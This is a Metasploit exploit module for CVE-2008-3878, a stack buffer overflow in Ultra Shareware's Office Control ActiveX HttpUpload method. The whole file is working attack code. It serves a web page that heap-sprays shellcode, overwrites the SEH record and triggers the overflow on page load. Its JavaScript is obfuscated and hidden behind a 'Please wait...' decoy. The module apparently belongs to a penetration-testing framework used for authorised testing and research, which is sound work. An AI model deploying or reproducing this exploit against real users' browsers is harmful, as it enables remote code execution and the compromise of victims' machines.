##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Ultra Shareware's Office
        Control. When processing the 'HttpUpload' method, the arguments are concatenated
        together to form a command line to run a bundled version of cURL. If the command
        fails to run, a stack-based buffer overflow occurs when building the error
        message. This is due to the use of sprintf() without proper bounds checking.

        NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
        into memory unmodified.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'shinnai', 'jduck' ],
      'References'     =>
        [
          [ 'CVE', '2008-3878' ],
          [ 'OSVDB', '47866' ],
          [ 'BID', '30861' ],
          [ 'EDB', '6318' ]
        ],
      'Payload'        =>
        {
          'Space'    => 4096,
          'BadChars' => "\x00",
          # For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested with ActiveX v2.0.0.1020 and v2.0.2008.801
          [ 'Windows Universal',
            {
              'Ret' => 0x0c0c0c0c  # heap sprayed
              # 0x746C15A9 # p/p/r in msls31.dll
              # EEK, Safe SEH! 0x220118c2  # p/p/r in OfficeCtrl.ocx
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 27 2008'))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    # ActiveX parameters
    progid = "Ultra.OfficeControl"
    clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7"

    # Set parameters
    fnname = rand_text_alpha(8+rand(8))
    arg1 = rand_text_alphanumeric(128)
    arg2 = rand_text_alphanumeric(4096) * 10
    seh_offset = 252

    # Build the exploit buffer
    sploit = rand_text_alphanumeric(seh_offset)
    sploit << generate_seh_record(target.ret)

    # Encode variables
    sploit = Rex::Text.to_hex(sploit, '%')
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Prepare the heap spray parameters
    spray_addr = target.ret
    spray_num = "0x%x" % spray_addr

    # Generate the final javascript
    js = %Q|
function #{fnname}()
{
try {
var obj = new ActiveXObject("#{progid}");
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
var arg1 = my_unescape("#{arg1}");
var arg2 = my_unescape("#{arg2}");
var sploit = my_unescape("#{sploit}");
obj.HttpUpload(arg1, arg2, sploit);
} catch( e ) { window.location = 'about:blank' ; }
}
|

    # Obfuscate the javascript
    opts = {
      'Strings' => true,
      'Symbols' => {
        'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.obfuscate(memory_sensitive: true)

    # Build the final HTML
    content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|

    print_status("Sending #{self.name}")

    send_response_html(cli, content)

    handler(cli)

  end
end
